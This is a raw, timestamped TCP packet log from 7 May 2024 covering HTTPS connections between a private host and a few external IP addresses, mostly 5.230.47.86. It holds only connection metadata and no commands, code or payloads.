May 7, 2024 20:28:44.010729074 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.010765076 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.010771990 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.010812044 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.133420944 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.133450031 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.133495092 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.133511066 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.133578062 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.134092093 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.134108067 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.134166956 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.134174109 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.134207964 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.134879112 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.134948015 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.134948015 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.134959936 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.134999990 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.135272026 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.135287046 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.135329962 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.135338068 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.135375977 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.135714054 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.135730028 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.135795116 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.135802031 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.135852098 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.136270046 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.136286020 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.136332989 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.136341095 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.136377096 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.137548923 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.137563944 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.137623072 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.137636900 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.137712955 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.138727903 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.138745070 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.138799906 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.138808012 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.138844013 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.139178038 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.139192104 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.139256001 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.139261961 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.139302015 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.139528036 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.139547110 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.139578104 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.139584064 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.139614105 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.139633894 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.140397072 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.140414000 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.140450001 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.140455961 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.140501022 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.140511036 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.140672922 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.140686989 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.140724897 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.140728951 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.140758991 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.140778065 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.141004086 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.141019106 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.141068935 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.141077042 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.141110897 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.141237020 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.141254902 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.141288042 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.141294956 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.141323090 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.141340971 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.141587019 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.141602993 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.141640902 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.141647100 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.141670942 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.141706944 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.141904116 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.141927958 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.141968012 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.141973972 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.142003059 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.142014027 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.142133951 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.142153025 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.142184973 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.142191887 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.142218113 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.142235994 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.142386913 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.142400980 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.142424107 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.142433882 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.142438889 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.142467976 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.143007994 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.143065929 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.154715061 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.174807072 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.174829006 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.703635931 CEST	49776	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.703701019 CEST	443	49776	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.703809977 CEST	49776	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.705841064 CEST	49776	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.705861092 CEST	443	49776	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.790620089 CEST	49777	443	192.168.2.7	52.96.109.242
May 7, 2024 20:28:44.790666103 CEST	443	49777	52.96.109.242	192.168.2.7
May 7, 2024 20:28:44.790932894 CEST	49777	443	192.168.2.7	52.96.109.242
May 7, 2024 20:28:44.791300058 CEST	49777	443	192.168.2.7	52.96.109.242
May 7, 2024 20:28:44.791311026 CEST	443	49777	52.96.109.242	192.168.2.7
May 7, 2024 20:28:45.046947002 CEST	443	49776	5.230.47.86	192.168.2.7
May 7, 2024 20:28:45.047260046 CEST	49776	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:45.047291040 CEST	443	49776	5.230.47.86	192.168.2.7
May 7, 2024 20:28:45.047646999 CEST	443	49776	5.230.47.86	192.168.2.7
May 7, 2024 20:28:45.048059940 CEST	49776	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:45.048146963 CEST	443	49776	5.230.47.86	192.168.2.7
May 7, 2024 20:28:45.048278093 CEST	49776	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:45.048312902 CEST	443	49776	5.230.47.86	192.168.2.7
May 7, 2024 20:28:45.074414015 CEST	443	49777	52.96.109.242	192.168.2.7
May 7, 2024 20:28:45.074871063 CEST	49777	443	192.168.2.7	52.96.109.242
May 7, 2024 20:28:45.074898005 CEST	443	49777	52.96.109.242	192.168.2.7
May 7, 2024 20:28:45.075984001 CEST	443	49777	52.96.109.242	192.168.2.7
May 7, 2024 20:28:45.076049089 CEST	49777	443	192.168.2.7	52.96.109.242
May 7, 2024 20:28:45.076057911 CEST	443	49777	52.96.109.242	192.168.2.7
May 7, 2024 20:28:45.076124907 CEST	49777	443	192.168.2.7	52.96.109.242
May 7, 2024 20:28:45.186744928 CEST	49777	443	192.168.2.7	52.96.109.242
May 7, 2024 20:28:45.186965942 CEST	443	49777	52.96.109.242	192.168.2.7
May 7, 2024 20:28:45.187235117 CEST	49777	443	192.168.2.7	52.96.109.242
May 7, 2024 20:28:45.187248945 CEST	443	49777	52.96.109.242	192.168.2.7
May 7, 2024 20:28:45.239084005 CEST	49777	443	192.168.2.7	52.96.109.242
May 7, 2024 20:28:45.580518007 CEST	443	49777	52.96.109.242	192.168.2.7
May 7, 2024 20:28:45.580547094 CEST	443	49777	52.96.109.242	192.168.2.7
May 7, 2024 20:28:45.580604076 CEST	49777	443	192.168.2.7	52.96.109.242
May 7, 2024 20:28:45.580629110 CEST	443	49777	52.96.109.242	192.168.2.7
May 7, 2024 20:28:45.580823898 CEST	443	49777	52.96.109.242	192.168.2.7
May 7, 2024 20:28:45.580868959 CEST	49777	443	192.168.2.7	52.96.109.242
May 7, 2024 20:28:45.584249973 CEST	49777	443	192.168.2.7	52.96.109.242
May 7, 2024 20:28:45.584264040 CEST	443	49777	52.96.109.242	192.168.2.7
May 7, 2024 20:28:46.424745083 CEST	443	49776	5.230.47.86	192.168.2.7
May 7, 2024 20:28:46.424772024 CEST	443	49776	5.230.47.86	192.168.2.7
May 7, 2024 20:28:46.424787998 CEST	443	49776	5.230.47.86	192.168.2.7
May 7, 2024 20:28:46.424866915 CEST	49776	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:46.424899101 CEST	443	49776	5.230.47.86	192.168.2.7
May 7, 2024 20:28:46.424951077 CEST	49776	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:46.590388060 CEST	443	49776	5.230.47.86	192.168.2.7
May 7, 2024 20:28:46.590445995 CEST	443	49776	5.230.47.86	192.168.2.7
May 7, 2024 20:28:46.590487957 CEST	49776	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:46.590527058 CEST	443	49776	5.230.47.86	192.168.2.7
May 7, 2024 20:28:46.590543032 CEST	49776	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:46.590543985 CEST	443	49776	5.230.47.86	192.168.2.7
May 7, 2024 20:28:46.590586901 CEST	49776	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:46.592726946 CEST	49776	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:46.592747927 CEST	443	49776	5.230.47.86	192.168.2.7
May 7, 2024 20:28:47.614649057 CEST	443	49771	13.107.213.36	192.168.2.7
May 7, 2024 20:28:47.614747047 CEST	443	49771	13.107.213.36	192.168.2.7
May 7, 2024 20:28:47.614840984 CEST	49771	443	192.168.2.7	13.107.213.36
May 7, 2024 20:28:48.055574894 CEST	49771	443	192.168.2.7	13.107.213.36
May 7, 2024 20:28:48.055613041 CEST	443	49771	13.107.213.36	192.168.2.7
May 7, 2024 20:28:48.057846069 CEST	49779	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.057895899 CEST	443	49779	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.057955980 CEST	49779	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.062685013 CEST	49780	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.062735081 CEST	443	49780	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.062802076 CEST	49780	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.063919067 CEST	49781	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.063960075 CEST	443	49781	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.064013958 CEST	49781	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.069117069 CEST	49782	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.069147110 CEST	443	49782	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.069194078 CEST	49782	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.072213888 CEST	49783	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.072242975 CEST	443	49783	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.072298050 CEST	49783	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.073501110 CEST	49784	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.073525906 CEST	443	49784	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.073622942 CEST	49784	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.076044083 CEST	49779	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.076062918 CEST	443	49779	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.080012083 CEST	49780	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.080027103 CEST	443	49780	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.096539021 CEST	49781	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.096564054 CEST	443	49781	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.097256899 CEST	49782	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.097287893 CEST	443	49782	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.098759890 CEST	49783	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.098774910 CEST	443	49783	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.099252939 CEST	49784	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.099272013 CEST	443	49784	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.422851086 CEST	443	49779	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.423333883 CEST	49779	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.423351049 CEST	443	49779	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.423719883 CEST	443	49779	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.424968004 CEST	49779	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.425041914 CEST	443	49779	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.425457001 CEST	49779	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.425494909 CEST	443	49779	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.446453094 CEST	443	49782	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.446779013 CEST	49782	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.446794987 CEST	443	49782	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.447863102 CEST	443	49782	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.447916985 CEST	49782	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.448316097 CEST	49782	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.448379993 CEST	443	49782	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.448542118 CEST	49782	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.448551893 CEST	443	49782	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.449402094 CEST	443	49781	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.449595928 CEST	49781	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.449626923 CEST	443	49781	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.450702906 CEST	443	49781	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.450767040 CEST	49781	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.451179981 CEST	49781	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.451246023 CEST	443	49781	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.451417923 CEST	49781	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.451431036 CEST	443	49781	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.457129955 CEST	443	49780	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.457303047 CEST	443	49783	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.457334042 CEST	49780	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.457362890 CEST	443	49780	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.457452059 CEST	49783	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.457478046 CEST	443	49783	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.457710981 CEST	443	49780	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.458062887 CEST	49780	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.458149910 CEST	443	49780	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.458398104 CEST	49780	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.458436966 CEST	443	49780	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.460293055 CEST	443	49783	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.460359097 CEST	49783	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.460777044 CEST	49783	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.461014032 CEST	49783	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.464128017 CEST	443	49783	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.464185953 CEST	443	49783	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.465348005 CEST	443	49784	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.465528011 CEST	49784	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.465543032 CEST	443	49784	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.466551065 CEST	443	49784	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.466609001 CEST	49784	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.467097998 CEST	49784	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.467152119 CEST	443	49784	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.467156887 CEST	49784	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.467202902 CEST	443	49784	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.493824005 CEST	49781	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.504167080 CEST	49782	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.504190922 CEST	49783	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.504223108 CEST	443	49783	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.520234108 CEST	49784	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.520246029 CEST	443	49784	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.552175999 CEST	49783	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.568205118 CEST	49784	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.849761963 CEST	443	49784	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.855508089 CEST	443	49784	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.856327057 CEST	49784	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.870971918 CEST	49784	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.870995998 CEST	443	49784	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.878735065 CEST	49787	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.878772974 CEST	443	49787	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.885246038 CEST	49787	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.885246038 CEST	49787	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.885284901 CEST	443	49787	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.951623917 CEST	443	49779	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.963196993 CEST	443	49779	5.230.47.86	192.168.2.7
May 7, 2024 20:28:48.963366985 CEST	49779	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.979173899 CEST	49779	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:48.979212999 CEST	443	49779	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.036859989 CEST	443	49783	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.036890030 CEST	443	49783	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.036897898 CEST	443	49783	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.036917925 CEST	443	49783	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.036938906 CEST	443	49783	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.036947012 CEST	443	49783	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.036972046 CEST	49783	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.036997080 CEST	443	49783	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.037025928 CEST	49783	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.037061930 CEST	443	49783	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.037084103 CEST	49783	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.037429094 CEST	49783	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.038727999 CEST	49783	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.038738012 CEST	443	49783	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.097903013 CEST	49788	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.097907066 CEST	49789	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.097944975 CEST	443	49789	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.097946882 CEST	443	49788	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.098099947 CEST	49790	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.098135948 CEST	443	49790	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.098153114 CEST	49788	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.098155975 CEST	49789	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.098633051 CEST	49788	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.098635912 CEST	49789	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.098647118 CEST	443	49789	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.098653078 CEST	443	49788	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.098679066 CEST	49790	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.098876953 CEST	49790	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.098892927 CEST	443	49790	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.225292921 CEST	443	49787	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.225836992 CEST	49787	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.225851059 CEST	443	49787	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.226211071 CEST	443	49787	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.227159977 CEST	49787	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.227219105 CEST	443	49787	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.227577925 CEST	49787	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.227596045 CEST	443	49787	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.449759007 CEST	443	49788	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.454125881 CEST	49788	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.454145908 CEST	443	49788	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.454514027 CEST	443	49790	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.454797983 CEST	49790	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.454830885 CEST	443	49790	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.455257893 CEST	443	49788	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.455404997 CEST	49788	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.455885887 CEST	443	49790	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.455975056 CEST	49790	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.456087112 CEST	49788	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.456159115 CEST	443	49788	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.456943035 CEST	49790	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.456949949 CEST	49788	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.456959009 CEST	443	49788	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.457005024 CEST	443	49790	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.458741903 CEST	49790	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.458760023 CEST	443	49790	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.459212065 CEST	443	49789	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.459572077 CEST	49789	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.459590912 CEST	443	49789	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.460900068 CEST	443	49789	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.460961103 CEST	49789	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.461443901 CEST	49789	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.461502075 CEST	443	49789	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.461541891 CEST	49789	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.461553097 CEST	443	49789	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.470730066 CEST	443	49781	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.470756054 CEST	443	49781	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.471172094 CEST	49781	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.471182108 CEST	443	49781	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.477288008 CEST	443	49780	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.482655048 CEST	443	49781	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.482692957 CEST	49781	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.482723951 CEST	443	49781	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.482753038 CEST	49781	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.482950926 CEST	49781	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.493968964 CEST	443	49780	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.494046926 CEST	443	49780	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.494246006 CEST	49780	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.503772974 CEST	49790	443	192.168.2.7	5.230.47.86
